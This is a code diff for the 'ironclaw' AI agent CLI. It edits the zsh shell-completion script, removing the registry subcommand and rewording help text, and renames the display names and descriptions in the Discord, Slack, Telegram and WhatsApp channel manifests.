'--no-db[Skip database connection (for testing)]' \
|
||||||
'--no-onboard[Skip first-run onboarding check]' \
|
'--no-onboard[Skip first-run onboarding check]' \
|
||||||
'-h[Print help (see more with '\''--help'\'')]' \
|
'-h[Print help]' \
|
||||||
'--help[Print help (see more with '\''--help'\'')]' \
|
'--help[Print help]' \
|
||||||
'-V[Print version]' \
|
'-V[Print version]' \
|
||||||
'--version[Print version]' \
|
'--version[Print version]' \
|
||||||
":: :_ironclaw_commands" \
|
":: :_ironclaw_commands" \
|
||||||
@@ -44,8 +44,8 @@ _arguments "${_arguments_options[@]}" : \
|
|||||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||||
'--no-db[Skip database connection (for testing)]' \
|
'--no-db[Skip database connection (for testing)]' \
|
||||||
'--no-onboard[Skip first-run onboarding check]' \
|
'--no-onboard[Skip first-run onboarding check]' \
|
||||||
'-h[Print help (see more with '\''--help'\'')]' \
|
'-h[Print help]' \
|
||||||
'--help[Print help (see more with '\''--help'\'')]' \
|
'--help[Print help]' \
|
||||||
&& ret=0
|
&& ret=0
|
||||||
;;
|
;;
|
||||||
(onboard)
|
(onboard)
|
||||||
@@ -59,8 +59,8 @@ _arguments "${_arguments_options[@]}" : \
|
|||||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||||
'--no-db[Skip database connection (for testing)]' \
|
'--no-db[Skip database connection (for testing)]' \
|
||||||
'--no-onboard[Skip first-run onboarding check]' \
|
'--no-onboard[Skip first-run onboarding check]' \
|
||||||
'-h[Print help (see more with '\''--help'\'')]' \
|
'-h[Print help]' \
|
||||||
'--help[Print help (see more with '\''--help'\'')]' \
|
'--help[Print help]' \
|
||||||
&& ret=0
|
&& ret=0
|
||||||
;;
|
;;
|
||||||
(config)
|
(config)
|
||||||
@@ -72,8 +72,8 @@ _arguments "${_arguments_options[@]}" : \
|
|||||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||||
'--no-db[Skip database connection (for testing)]' \
|
'--no-db[Skip database connection (for testing)]' \
|
||||||
'--no-onboard[Skip first-run onboarding check]' \
|
'--no-onboard[Skip first-run onboarding check]' \
|
||||||
'-h[Print help (see more with '\''--help'\'')]' \
|
'-h[Print help]' \
|
||||||
'--help[Print help (see more with '\''--help'\'')]' \
|
'--help[Print help]' \
|
||||||
":: :_ironclaw__config_commands" \
|
":: :_ironclaw__config_commands" \
|
||||||
"*::: :->config" \
|
"*::: :->config" \
|
||||||
&& ret=0
|
&& ret=0
|
||||||
@@ -228,8 +228,8 @@ _arguments "${_arguments_options[@]}" : \
|
|||||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||||
'--no-db[Skip database connection (for testing)]' \
|
'--no-db[Skip database connection (for testing)]' \
|
||||||
'--no-onboard[Skip first-run onboarding check]' \
|
'--no-onboard[Skip first-run onboarding check]' \
|
||||||
'-h[Print help (see more with '\''--help'\'')]' \
|
'-h[Print help]' \
|
||||||
'--help[Print help (see more with '\''--help'\'')]' \
|
'--help[Print help]' \
|
||||||
":: :_ironclaw__tool_commands" \
|
":: :_ironclaw__tool_commands" \
|
||||||
"*::: :->tool" \
|
"*::: :->tool" \
|
||||||
&& ret=0
|
&& ret=0
|
||||||
@@ -374,133 +374,6 @@ esac
|
|||||||
;;
|
;;
|
||||||
esac
|
esac
|
||||||
;;
|
;;
|
||||||
(registry)
|
|
||||||
_arguments "${_arguments_options[@]}" : \
|
|
||||||
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
|
|
||||||
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
|
|
||||||
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
|
||||||
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
|
||||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
|
||||||
'--no-db[Skip database connection (for testing)]' \
|
|
||||||
'--no-onboard[Skip first-run onboarding check]' \
|
|
||||||
'-h[Print help (see more with '\''--help'\'')]' \
|
|
||||||
'--help[Print help (see more with '\''--help'\'')]' \
|
|
||||||
":: :_ironclaw__registry_commands" \
|
|
||||||
"*::: :->registry" \
|
|
||||||
&& ret=0
|
|
||||||
|
|
||||||
case $state in
|
|
||||||
(registry)
|
|
||||||
words=($line[1] "${words[@]}")
|
|
||||||
(( CURRENT += 1 ))
|
|
||||||
curcontext="${curcontext%:*:*}:ironclaw-registry-command-$line[1]:"
|
|
||||||
case $line[1] in
|
|
||||||
(list)
|
|
||||||
_arguments "${_arguments_options[@]}" : \
|
|
||||||
'-k+[Filter by kind\: "tool" or "channel"]:KIND:_default' \
|
|
||||||
'--kind=[Filter by kind\: "tool" or "channel"]:KIND:_default' \
|
|
||||||
'-t+[Filter by tag (e.g. "default", "google", "messaging")]:TAG:_default' \
|
|
||||||
'--tag=[Filter by tag (e.g. "default", "google", "messaging")]:TAG:_default' \
|
|
||||||
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
|
|
||||||
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
|
|
||||||
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
|
||||||
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
|
||||||
'-v[Show detailed information]' \
|
|
||||||
'--verbose[Show detailed information]' \
|
|
||||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
|
||||||
'--no-db[Skip database connection (for testing)]' \
|
|
||||||
'--no-onboard[Skip first-run onboarding check]' \
|
|
||||||
'-h[Print help]' \
|
|
||||||
'--help[Print help]' \
|
|
||||||
&& ret=0
|
|
||||||
;;
|
|
||||||
(info)
|
|
||||||
_arguments "${_arguments_options[@]}" : \
|
|
||||||
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
|
|
||||||
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
|
|
||||||
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
|
||||||
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
|
||||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
|
||||||
'--no-db[Skip database connection (for testing)]' \
|
|
||||||
'--no-onboard[Skip first-run onboarding check]' \
|
|
||||||
'-h[Print help]' \
|
|
||||||
'--help[Print help]' \
|
|
||||||
':name -- Extension or bundle name (e.g. "slack", "google", "tools/gmail"):_default' \
|
|
||||||
&& ret=0
|
|
||||||
;;
|
|
||||||
(install)
|
|
||||||
_arguments "${_arguments_options[@]}" : \
|
|
||||||
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
|
|
||||||
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
|
|
||||||
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
|
||||||
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
|
||||||
'-f[Force overwrite if already installed]' \
|
|
||||||
'--force[Force overwrite if already installed]' \
|
|
||||||
'--build[Build from source instead of downloading pre-built artifact]' \
|
|
||||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
|
||||||
'--no-db[Skip database connection (for testing)]' \
|
|
||||||
'--no-onboard[Skip first-run onboarding check]' \
|
|
||||||
'-h[Print help]' \
|
|
||||||
'--help[Print help]' \
|
|
||||||
':name -- Extension or bundle name (e.g. "slack", "google", "default"):_default' \
|
|
||||||
&& ret=0
|
|
||||||
;;
|
|
||||||
(install-defaults)
|
|
||||||
_arguments "${_arguments_options[@]}" : \
|
|
||||||
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
|
|
||||||
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
|
|
||||||
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
|
||||||
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
|
||||||
'-f[Force overwrite if already installed]' \
|
|
||||||
'--force[Force overwrite if already installed]' \
|
|
||||||
'--build[Build from source instead of downloading pre-built artifact]' \
|
|
||||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
|
||||||
'--no-db[Skip database connection (for testing)]' \
|
|
||||||
'--no-onboard[Skip first-run onboarding check]' \
|
|
||||||
'-h[Print help]' \
|
|
||||||
'--help[Print help]' \
|
|
||||||
&& ret=0
|
|
||||||
;;
|
|
||||||
(help)
|
|
||||||
_arguments "${_arguments_options[@]}" : \
|
|
||||||
":: :_ironclaw__registry__help_commands" \
|
|
||||||
"*::: :->help" \
|
|
||||||
&& ret=0
|
|
||||||
|
|
||||||
case $state in
|
|
||||||
(help)
|
|
||||||
words=($line[1] "${words[@]}")
|
|
||||||
(( CURRENT += 1 ))
|
|
||||||
curcontext="${curcontext%:*:*}:ironclaw-registry-help-command-$line[1]:"
|
|
||||||
case $line[1] in
|
|
||||||
(list)
|
|
||||||
_arguments "${_arguments_options[@]}" : \
|
|
||||||
&& ret=0
|
|
||||||
;;
|
|
||||||
(info)
|
|
||||||
_arguments "${_arguments_options[@]}" : \
|
|
||||||
&& ret=0
|
|
||||||
;;
|
|
||||||
(install)
|
|
||||||
_arguments "${_arguments_options[@]}" : \
|
|
||||||
&& ret=0
|
|
||||||
;;
|
|
||||||
(install-defaults)
|
|
||||||
_arguments "${_arguments_options[@]}" : \
|
|
||||||
&& ret=0
|
|
||||||
;;
|
|
||||||
(help)
|
|
||||||
_arguments "${_arguments_options[@]}" : \
|
|
||||||
&& ret=0
|
|
||||||
;;
|
|
||||||
esac
|
|
||||||
;;
|
|
||||||
esac
|
|
||||||
;;
|
|
||||||
esac
|
|
||||||
;;
|
|
||||||
esac
|
|
||||||
;;
|
|
||||||
(mcp)
|
(mcp)
|
||||||
_arguments "${_arguments_options[@]}" : \
|
_arguments "${_arguments_options[@]}" : \
|
||||||
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
|
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
|
||||||
@@ -510,8 +383,8 @@ _arguments "${_arguments_options[@]}" : \
|
|||||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||||
'--no-db[Skip database connection (for testing)]' \
|
'--no-db[Skip database connection (for testing)]' \
|
||||||
'--no-onboard[Skip first-run onboarding check]' \
|
'--no-onboard[Skip first-run onboarding check]' \
|
||||||
'-h[Print help (see more with '\''--help'\'')]' \
|
'-h[Print help]' \
|
||||||
'--help[Print help (see more with '\''--help'\'')]' \
|
'--help[Print help]' \
|
||||||
":: :_ironclaw__mcp_commands" \
|
":: :_ironclaw__mcp_commands" \
|
||||||
"*::: :->mcp" \
|
"*::: :->mcp" \
|
||||||
&& ret=0
|
&& ret=0
|
||||||
@@ -676,8 +549,8 @@ _arguments "${_arguments_options[@]}" : \
|
|||||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||||
'--no-db[Skip database connection (for testing)]' \
|
'--no-db[Skip database connection (for testing)]' \
|
||||||
'--no-onboard[Skip first-run onboarding check]' \
|
'--no-onboard[Skip first-run onboarding check]' \
|
||||||
'-h[Print help (see more with '\''--help'\'')]' \
|
'-h[Print help]' \
|
||||||
'--help[Print help (see more with '\''--help'\'')]' \
|
'--help[Print help]' \
|
||||||
":: :_ironclaw__memory_commands" \
|
":: :_ironclaw__memory_commands" \
|
||||||
"*::: :->memory" \
|
"*::: :->memory" \
|
||||||
&& ret=0
|
&& ret=0
|
||||||
@@ -817,8 +690,8 @@ _arguments "${_arguments_options[@]}" : \
|
|||||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||||
'--no-db[Skip database connection (for testing)]' \
|
'--no-db[Skip database connection (for testing)]' \
|
||||||
'--no-onboard[Skip first-run onboarding check]' \
|
'--no-onboard[Skip first-run onboarding check]' \
|
||||||
'-h[Print help (see more with '\''--help'\'')]' \
|
'-h[Print help]' \
|
||||||
'--help[Print help (see more with '\''--help'\'')]' \
|
'--help[Print help]' \
|
||||||
":: :_ironclaw__pairing_commands" \
|
":: :_ironclaw__pairing_commands" \
|
||||||
"*::: :->pairing" \
|
"*::: :->pairing" \
|
||||||
&& ret=0
|
&& ret=0
|
||||||
@@ -900,8 +773,8 @@ _arguments "${_arguments_options[@]}" : \
|
|||||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||||
'--no-db[Skip database connection (for testing)]' \
|
'--no-db[Skip database connection (for testing)]' \
|
||||||
'--no-onboard[Skip first-run onboarding check]' \
|
'--no-onboard[Skip first-run onboarding check]' \
|
||||||
'-h[Print help (see more with '\''--help'\'')]' \
|
'-h[Print help]' \
|
||||||
'--help[Print help (see more with '\''--help'\'')]' \
|
'--help[Print help]' \
|
||||||
":: :_ironclaw__service_commands" \
|
":: :_ironclaw__service_commands" \
|
||||||
"*::: :->service" \
|
"*::: :->service" \
|
||||||
&& ret=0
|
&& ret=0
|
||||||
@@ -1030,8 +903,8 @@ _arguments "${_arguments_options[@]}" : \
|
|||||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||||
'--no-db[Skip database connection (for testing)]' \
|
'--no-db[Skip database connection (for testing)]' \
|
||||||
'--no-onboard[Skip first-run onboarding check]' \
|
'--no-onboard[Skip first-run onboarding check]' \
|
||||||
'-h[Print help (see more with '\''--help'\'')]' \
|
'-h[Print help]' \
|
||||||
'--help[Print help (see more with '\''--help'\'')]' \
|
'--help[Print help]' \
|
||||||
&& ret=0
|
&& ret=0
|
||||||
;;
|
;;
|
||||||
(status)
|
(status)
|
||||||
@@ -1043,13 +916,13 @@ _arguments "${_arguments_options[@]}" : \
|
|||||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||||
'--no-db[Skip database connection (for testing)]' \
|
'--no-db[Skip database connection (for testing)]' \
|
||||||
'--no-onboard[Skip first-run onboarding check]' \
|
'--no-onboard[Skip first-run onboarding check]' \
|
||||||
'-h[Print help (see more with '\''--help'\'')]' \
|
'-h[Print help]' \
|
||||||
'--help[Print help (see more with '\''--help'\'')]' \
|
'--help[Print help]' \
|
||||||
&& ret=0
|
&& ret=0
|
||||||
;;
|
;;
|
||||||
(completion)
|
(completion)
|
||||||
_arguments "${_arguments_options[@]}" : \
|
_arguments "${_arguments_options[@]}" : \
|
||||||
'--shell=[The shell to generate completions for]:SHELL:(bash elvish fish powershell zsh)' \
|
'--shell=[The shell to generate completions for]:SHELL:(bash zsh fish powershell elvish)' \
|
||||||
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
|
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
|
||||||
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
|
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
|
||||||
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
||||||
@@ -1057,8 +930,8 @@ _arguments "${_arguments_options[@]}" : \
|
|||||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||||
'--no-db[Skip database connection (for testing)]' \
|
'--no-db[Skip database connection (for testing)]' \
|
||||||
'--no-onboard[Skip first-run onboarding check]' \
|
'--no-onboard[Skip first-run onboarding check]' \
|
||||||
'-h[Print help (see more with '\''--help'\'')]' \
|
'-h[Print help]' \
|
||||||
'--help[Print help (see more with '\''--help'\'')]' \
|
'--help[Print help]' \
|
||||||
&& ret=0
|
&& ret=0
|
||||||
;;
|
;;
|
||||||
(worker)
|
(worker)
|
||||||
@@ -1190,38 +1063,6 @@ _arguments "${_arguments_options[@]}" : \
|
|||||||
;;
|
;;
|
||||||
esac
|
esac
|
||||||
;;
|
;;
|
||||||
(registry)
|
|
||||||
_arguments "${_arguments_options[@]}" : \
|
|
||||||
":: :_ironclaw__help__registry_commands" \
|
|
||||||
"*::: :->registry" \
|
|
||||||
&& ret=0
|
|
||||||
|
|
||||||
case $state in
|
|
||||||
(registry)
|
|
||||||
words=($line[1] "${words[@]}")
|
|
||||||
(( CURRENT += 1 ))
|
|
||||||
curcontext="${curcontext%:*:*}:ironclaw-help-registry-command-$line[1]:"
|
|
||||||
case $line[1] in
|
|
||||||
(list)
|
|
||||||
_arguments "${_arguments_options[@]}" : \
|
|
||||||
&& ret=0
|
|
||||||
;;
|
|
||||||
(info)
|
|
||||||
_arguments "${_arguments_options[@]}" : \
|
|
||||||
&& ret=0
|
|
||||||
;;
|
|
||||||
(install)
|
|
||||||
_arguments "${_arguments_options[@]}" : \
|
|
||||||
&& ret=0
|
|
||||||
;;
|
|
||||||
(install-defaults)
|
|
||||||
_arguments "${_arguments_options[@]}" : \
|
|
||||||
&& ret=0
|
|
||||||
;;
|
|
||||||
esac
|
|
||||||
;;
|
|
||||||
esac
|
|
||||||
;;
|
|
||||||
(mcp)
|
(mcp)
|
||||||
_arguments "${_arguments_options[@]}" : \
|
_arguments "${_arguments_options[@]}" : \
|
||||||
":: :_ironclaw__help__mcp_commands" \
|
":: :_ironclaw__help__mcp_commands" \
|
||||||
@@ -1394,18 +1235,17 @@ esac
|
|||||||
(( $+functions[_ironclaw_commands] )) ||
|
(( $+functions[_ironclaw_commands] )) ||
|
||||||
_ironclaw_commands() {
|
_ironclaw_commands() {
|
||||||
local commands; commands=(
|
local commands; commands=(
|
||||||
'run:Run the AI agent' \
|
'run:Run the agent (default if no subcommand given)' \
|
||||||
'onboard:Run interactive setup wizard' \
|
'onboard:Interactive onboarding wizard' \
|
||||||
'config:Manage app configs' \
|
'config:Manage configuration settings' \
|
||||||
'tool:Manage WASM tools' \
|
'tool:Manage WASM tools' \
|
||||||
'registry:Browse/install extensions' \
|
'mcp:Manage MCP servers (hosted tool providers)' \
|
||||||
'mcp:Manage MCP servers' \
|
'memory:Query and manage workspace memory' \
|
||||||
'memory:Manage workspace memory' \
|
'pairing:DM pairing (approve inbound requests from unknown senders)' \
|
||||||
'pairing:Manage DM pairing' \
|
'service:Manage OS service (launchd / systemd)' \
|
||||||
'service:Manage OS service' \
|
'doctor:Probe external dependencies and validate configuration' \
|
||||||
'doctor:Run diagnostics' \
|
'status:Show system health and diagnostics' \
|
||||||
'status:Show system status' \
|
'completion:Generate shell completion scripts' \
|
||||||
'completion:Generate completions' \
|
|
||||||
'worker:Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' \
|
'worker:Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' \
|
||||||
'claude-bridge:Run as a Claude Code bridge inside a Docker container (internal use). Spawns the \`claude\` CLI and streams output back to the orchestrator' \
|
'claude-bridge:Run as a Claude Code bridge inside a Docker container (internal use). Spawns the \`claude\` CLI and streams output back to the orchestrator' \
|
||||||
'help:Print this message or the help of the given subcommand(s)' \
|
'help:Print this message or the help of the given subcommand(s)' \
|
||||||
@@ -1521,18 +1361,17 @@ _ironclaw__doctor_commands() {
|
|||||||
(( $+functions[_ironclaw__help_commands] )) ||
|
(( $+functions[_ironclaw__help_commands] )) ||
|
||||||
_ironclaw__help_commands() {
|
_ironclaw__help_commands() {
|
||||||
local commands; commands=(
|
local commands; commands=(
|
||||||
'run:Run the AI agent' \
|
'run:Run the agent (default if no subcommand given)' \
|
||||||
'onboard:Run interactive setup wizard' \
|
'onboard:Interactive onboarding wizard' \
|
||||||
'config:Manage app configs' \
|
'config:Manage configuration settings' \
|
||||||
'tool:Manage WASM tools' \
|
'tool:Manage WASM tools' \
|
||||||
'registry:Browse/install extensions' \
|
'mcp:Manage MCP servers (hosted tool providers)' \
|
||||||
'mcp:Manage MCP servers' \
|
'memory:Query and manage workspace memory' \
|
||||||
'memory:Manage workspace memory' \
|
'pairing:DM pairing (approve inbound requests from unknown senders)' \
|
||||||
'pairing:Manage DM pairing' \
|
'service:Manage OS service (launchd / systemd)' \
|
||||||
'service:Manage OS service' \
|
'doctor:Probe external dependencies and validate configuration' \
|
||||||
'doctor:Run diagnostics' \
|
'status:Show system health and diagnostics' \
|
||||||
'status:Show system status' \
|
'completion:Generate shell completion scripts' \
|
||||||
'completion:Generate completions' \
|
|
||||||
'worker:Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' \
|
'worker:Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' \
|
||||||
'claude-bridge:Run as a Claude Code bridge inside a Docker container (internal use). Spawns the \`claude\` CLI and streams output back to the orchestrator' \
|
'claude-bridge:Run as a Claude Code bridge inside a Docker container (internal use). Spawns the \`claude\` CLI and streams output back to the orchestrator' \
|
||||||
'help:Print this message or the help of the given subcommand(s)' \
|
'help:Print this message or the help of the given subcommand(s)' \
|
||||||
@@ -1702,36 +1541,6 @@ _ironclaw__help__pairing__list_commands() {
|
|||||||
local commands; commands=()
|
local commands; commands=()
|
||||||
_describe -t commands 'ironclaw help pairing list commands' commands "$@"
|
_describe -t commands 'ironclaw help pairing list commands' commands "$@"
|
||||||
}
|
}
|
||||||
(( $+functions[_ironclaw__help__registry_commands] )) ||
|
|
||||||
_ironclaw__help__registry_commands() {
|
|
||||||
local commands; commands=(
|
|
||||||
'list:List available extensions in the registry' \
|
|
||||||
'info:Show detailed information about an extension or bundle' \
|
|
||||||
'install:Install an extension or bundle from the registry' \
|
|
||||||
'install-defaults:Install the default bundle of recommended extensions' \
|
|
||||||
)
|
|
||||||
_describe -t commands 'ironclaw help registry commands' commands "$@"
|
|
||||||
}
|
|
||||||
(( $+functions[_ironclaw__help__registry__info_commands] )) ||
|
|
||||||
_ironclaw__help__registry__info_commands() {
|
|
||||||
local commands; commands=()
|
|
||||||
_describe -t commands 'ironclaw help registry info commands' commands "$@"
|
|
||||||
}
|
|
||||||
(( $+functions[_ironclaw__help__registry__install_commands] )) ||
|
|
||||||
_ironclaw__help__registry__install_commands() {
|
|
||||||
local commands; commands=()
|
|
||||||
_describe -t commands 'ironclaw help registry install commands' commands "$@"
|
|
||||||
}
|
|
||||||
(( $+functions[_ironclaw__help__registry__install-defaults_commands] )) ||
|
|
||||||
_ironclaw__help__registry__install-defaults_commands() {
|
|
||||||
local commands; commands=()
|
|
||||||
_describe -t commands 'ironclaw help registry install-defaults commands' commands "$@"
|
|
||||||
}
|
|
||||||
(( $+functions[_ironclaw__help__registry__list_commands] )) ||
|
|
||||||
_ironclaw__help__registry__list_commands() {
|
|
||||||
local commands; commands=()
|
|
||||||
_describe -t commands 'ironclaw help registry list commands' commands "$@"
|
|
||||||
}
|
|
||||||
(( $+functions[_ironclaw__help__run_commands] )) ||
|
(( $+functions[_ironclaw__help__run_commands] )) ||
|
||||||
_ironclaw__help__run_commands() {
|
_ironclaw__help__run_commands() {
|
||||||
local commands; commands=()
|
local commands; commands=()
|
||||||
@@ -2037,73 +1846,6 @@ _ironclaw__pairing__list_commands() {
|
|||||||
local commands; commands=()
|
local commands; commands=()
|
||||||
_describe -t commands 'ironclaw pairing list commands' commands "$@"
|
_describe -t commands 'ironclaw pairing list commands' commands "$@"
|
||||||
}
|
}
|
||||||
(( $+functions[_ironclaw__registry_commands] )) ||
|
|
||||||
_ironclaw__registry_commands() {
|
|
||||||
local commands; commands=(
|
|
||||||
'list:List available extensions in the registry' \
|
|
||||||
'info:Show detailed information about an extension or bundle' \
|
|
||||||
'install:Install an extension or bundle from the registry' \
|
|
||||||
'install-defaults:Install the default bundle of recommended extensions' \
|
|
||||||
'help:Print this message or the help of the given subcommand(s)' \
|
|
||||||
)
|
|
||||||
_describe -t commands 'ironclaw registry commands' commands "$@"
|
|
||||||
}
|
|
||||||
(( $+functions[_ironclaw__registry__help_commands] )) ||
|
|
||||||
_ironclaw__registry__help_commands() {
|
|
||||||
local commands; commands=(
|
|
||||||
'list:List available extensions in the registry' \
|
|
||||||
'info:Show detailed information about an extension or bundle' \
|
|
||||||
'install:Install an extension or bundle from the registry' \
|
|
||||||
'install-defaults:Install the default bundle of recommended extensions' \
|
|
||||||
'help:Print this message or the help of the given subcommand(s)' \
|
|
||||||
)
|
|
||||||
_describe -t commands 'ironclaw registry help commands' commands "$@"
|
|
||||||
}
|
|
||||||
(( $+functions[_ironclaw__registry__help__help_commands] )) ||
|
|
||||||
_ironclaw__registry__help__help_commands() {
|
|
||||||
local commands; commands=()
|
|
||||||
_describe -t commands 'ironclaw registry help help commands' commands "$@"
|
|
||||||
}
|
|
||||||
(( $+functions[_ironclaw__registry__help__info_commands] )) ||
|
|
||||||
_ironclaw__registry__help__info_commands() {
|
|
||||||
local commands; commands=()
|
|
||||||
_describe -t commands 'ironclaw registry help info commands' commands "$@"
|
|
||||||
}
|
|
||||||
(( $+functions[_ironclaw__registry__help__install_commands] )) ||
|
|
||||||
_ironclaw__registry__help__install_commands() {
|
|
||||||
local commands; commands=()
|
|
||||||
_describe -t commands 'ironclaw registry help install commands' commands "$@"
|
|
||||||
}
|
|
||||||
(( $+functions[_ironclaw__registry__help__install-defaults_commands] )) ||
|
|
||||||
_ironclaw__registry__help__install-defaults_commands() {
|
|
||||||
local commands; commands=()
|
|
||||||
_describe -t commands 'ironclaw registry help install-defaults commands' commands "$@"
|
|
||||||
}
|
|
||||||
(( $+functions[_ironclaw__registry__help__list_commands] )) ||
|
|
||||||
_ironclaw__registry__help__list_commands() {
|
|
||||||
local commands; commands=()
|
|
||||||
_describe -t commands 'ironclaw registry help list commands' commands "$@"
|
|
||||||
}
|
|
||||||
(( $+functions[_ironclaw__registry__info_commands] )) ||
|
|
||||||
_ironclaw__registry__info_commands() {
|
|
||||||
local commands; commands=()
|
|
||||||
_describe -t commands 'ironclaw registry info commands' commands "$@"
|
|
||||||
}
|
|
||||||
(( $+functions[_ironclaw__registry__install_commands] )) ||
|
|
||||||
_ironclaw__registry__install_commands() {
|
|
||||||
local commands; commands=()
|
|
||||||
_describe -t commands 'ironclaw registry install commands' commands "$@"
|
|
||||||
}
|
|
||||||
(( $+functions[_ironclaw__registry__install-defaults_commands] )) ||
|
|
||||||
_ironclaw__registry__install-defaults_commands() {
|
|
||||||
local commands; commands=()
|
|
||||||
_describe -t commands 'ironclaw registry install-defaults commands' commands "$@"
|
|
||||||
}
|
|
||||||
(( $+functions[_ironclaw__registry__list_commands] )) ||
|
|
||||||
_ironclaw__registry__list_commands() {
|
|
||||||
local commands; commands=()
|
|
||||||
_describe -t commands 'ironclaw registry list commands' commands "$@"
|
|
||||||
}
|
|
||||||
(( $+functions[_ironclaw__run_commands] )) ||
|
(( $+functions[_ironclaw__run_commands] )) ||
|
||||||
_ironclaw__run_commands() {
|
_ironclaw__run_commands() {
|
||||||
local commands; commands=()
|
local commands; commands=()
|
||||||
@@ -2281,5 +2023,5 @@ _ironclaw__worker_commands() {
|
|||||||
if [ "$funcstack[1]" = "_ironclaw" ]; then
|
if [ "$funcstack[1]" = "_ironclaw" ]; then
|
||||||
_ironclaw "$@"
|
_ironclaw "$@"
|
||||||
else
|
else
|
||||||
(( $+functions[compdef] )) && compdef _ironclaw ironclaw
|
compdef _ironclaw ironclaw
|
||||||
fi
|
fi
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
{
|
{
|
||||||
"name": "discord",
|
"name": "discord",
|
||||||
"display_name": "Discord Channel",
|
"display_name": "Discord",
|
||||||
"kind": "channel",
|
"kind": "channel",
|
||||||
"version": "0.1.0",
|
"version": "0.1.0",
|
||||||
"description": "Talk to your agent in Discord",
|
"description": "Discord Gateway/Webhook channel for slash commands, buttons, and messages",
|
||||||
"keywords": ["messaging", "chat", "discord", "bot"],
|
"keywords": ["messaging", "chat", "discord", "bot"],
|
||||||
|
|
||||||
"source": {
|
"source": {
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
{
|
{
|
||||||
"name": "slack",
|
"name": "slack",
|
||||||
"display_name": "Slack Channel",
|
"display_name": "Slack",
|
||||||
"kind": "channel",
|
"kind": "channel",
|
||||||
"version": "0.1.0",
|
"version": "0.1.0",
|
||||||
"description": "Talk to your agent in Slack",
|
"description": "Slack Events API channel for receiving and responding to Slack messages",
|
||||||
"keywords": ["messaging", "chat", "workspace", "slack"],
|
"keywords": ["messaging", "chat", "workspace", "slack"],
|
||||||
|
|
||||||
"source": {
|
"source": {
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
{
|
{
|
||||||
"name": "telegram",
|
"name": "telegram",
|
||||||
"display_name": "Telegram Channel",
|
"display_name": "Telegram",
|
||||||
"kind": "channel",
|
"kind": "channel",
|
||||||
"version": "0.1.0",
|
"version": "0.1.0",
|
||||||
"description": "Talk to your agent through a Telegram bot",
|
"description": "Telegram Bot API channel for receiving and responding to messages",
|
||||||
"keywords": ["messaging", "bot", "chat", "telegram"],
|
"keywords": ["messaging", "bot", "chat", "telegram"],
|
||||||
|
|
||||||
"source": {
|
"source": {
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
{
|
{
|
||||||
"name": "whatsapp",
|
"name": "whatsapp",
|
||||||
"display_name": "WhatsApp Channel",
|
"display_name": "WhatsApp",
|
||||||
"kind": "channel",
|
"kind": "channel",
